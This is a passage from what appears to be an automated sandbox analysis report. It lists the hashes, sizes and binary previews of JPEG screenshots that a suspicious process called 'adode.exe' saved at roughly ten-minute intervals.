SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_014005.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_015007.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_020009.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_021013.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_022014.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_023017.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152825
Entropy (8bit):	7.924886047980798
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBF7k:7HM9tZj6BvNuHwpLyaG2pk
MD5:	33FC187FA8A7A2B317BFB9262F224A73
SHA1:	5229E53964558BD963446E3B342F8EEFD41FF02D
SHA-256:	DA1AC8C3EFB2946D3F85F2C484D924A15A4520BAEAEFFAC74FCDEBE1A261B22C
SHA-512:	AFA36402F21C0BA6705D764832BDB766A937688E535AA58A9C3BE9FE4ED216D2330B5634DA239841BB8E0817CC96968D52532F0601248CF60578597F7F1D0449
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_024019.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_025022.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_030023.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_031026.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_032027.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_033030.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_034032.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_035036.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_040037.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_041041.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_042045.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
